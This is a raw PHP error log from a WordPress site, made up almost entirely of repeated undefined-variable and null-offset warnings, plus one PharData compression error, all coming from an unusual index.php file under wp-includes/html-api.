[14-Feb-2026 08:19:17 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:17 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:17 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:18 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:18 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:18 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:18 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:18 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:18 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:18 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:19 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:19 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:19 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:19 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:19 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:19 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:20 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:20 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:20 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:20 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:21 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:21 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:21 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:21 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:22 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:22 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:22 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:22 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:22 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:22 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:22 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:22 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:25 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:25 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:25 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:25 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:25 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:25 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:25 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:25 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:26 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:26 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:26 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:26 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:28 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:28 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:28 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:28 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:29 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:29 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:29 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:29 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:29 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:29 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:29 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:30 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:30 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:30 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:30 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:30 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:30 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:30 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:30 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:31 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:31 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:31 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:31 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:32 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:32 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:32 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:32 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:32 UTC] PHP Fatal error:  Uncaught BadMethodCallException: data phar "/home/homerdlh/public_html/wp-includes/html-api/10/custom.file.4.1766663904.php.file.4.1766663904.php.tar.gz" has invalid extension file.4.1766663904.php.tar.gz in /home/homerdlh/public_html/wp-includes/html-api/10/index.php:1178
Stack trace:
#0 /home/homerdlh/public_html/wp-includes/html-api/10/index.php(1178): PharData->compress()
#1 {main}
  thrown in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1178
[14-Feb-2026 08:19:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:35 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:35 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:36 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:36 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:36 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:36 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:36 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:36 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:36 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:37 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:37 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:37 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:37 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:37 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:37 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:37 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:38 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:38 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:38 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:38 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:38 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:38 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:39 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:39 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:39 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:39 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:39 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:39 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:40 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:40 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:40 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:40 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:40 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:40 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:40 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:40 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:41 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:41 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:41 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:41 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:41 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:41 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:43 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:43 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:43 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:43 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:43 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:43 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:44 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:44 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:44 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:44 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:44 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:44 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:45 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:45 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:45 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:47 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:47 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:47 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:47 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:48 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:48 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:48 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:48 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:49 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:49 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:49 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:49 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:50 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:50 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:50 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:50 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:50 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:50 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:51 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:51 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:51 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:51 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:52 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:52 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:52 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:52 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:52 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:52 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:53 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:53 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:54 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:54 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:54 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:54 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:54 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:54 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:54 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:54 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:55 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:55 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:56 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:56 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:56 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:56 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:56 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:56 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:57 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:57 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:58 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
